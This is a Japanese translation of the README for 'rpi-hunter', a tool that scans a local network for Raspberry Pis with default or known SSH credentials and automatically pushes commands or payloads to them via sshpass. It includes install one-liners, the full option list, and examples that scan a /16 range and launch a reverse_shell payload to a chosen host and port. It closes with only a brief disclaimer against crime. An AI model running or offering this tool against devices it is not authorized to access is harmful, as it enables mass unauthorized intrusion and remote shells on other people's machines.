rpi-hunter

• LAN上のRaspberry PiにSSH経由でペイロードを見つけて送信するのを自動化
• あるいは正直なタイトル: コマンド配信のためのsshpassの自動化

Rpi-hunterは、LAN上にデフォルトまたは既知の認証情報を持つ複数のRaspberry Piがある場合に、それらにコマンド/ペイロードを自動的に送信するのに便利です。

ガイド:

インストール

1. 依存関係をインストール: sudo pip install -U argparse termcolor および sudo apt -y install arp-scan tshark sshpass
2. rpi-hunterをダウンロード: git clone https://github.com/BusesCanFly/rpi-hunter
3. rpi-hunterに移動: cd ./rpi-hunter
4. rpi-hunter.pyを実行可能にする: chmod +x rpi-hunter.py

• 一行でのバリアント: sudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py

使い方

NullByteの人々が作成した素晴らしいビデオとそれに付随する記事をチェックしてください！

• 注意: 新しく使う方のために、rpi-hunterにいくつかのバグ修正と機能追加を行いました :) ./rpi-hunter.pyコマンドを実行すると、ローカルネットワーク全体を自動的にスキャンし、見つかったRaspberry Pi上でwhoamiコマンドを実行します。

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List available payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -u UNAME           Username to use when ssh'ing
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner

• ./rpi-hunter.py --listを実行して利用可能なペイロードを表示します。

• ペイロードは--listで表示されるペイロード名か、生の入力として指定できます

  • 例: --payload reverse_shell または --payload [あなたのcliコマンド]

• 使用例:

  • ./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
    • 注意: 「reverse_shell」ペイロードのみが -H と -P フラグを必要とします
  • ./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
    • 注意: 特殊文字を \ でエスケープすることを忘れないでください

免責事項:

標準的なインターネットのお約束が適用されます。犯罪を犯さず、責任を持って行動してください。

私は、あなたがrpi-hunterを使って行うすべての行動に対して一切の責任を負いません。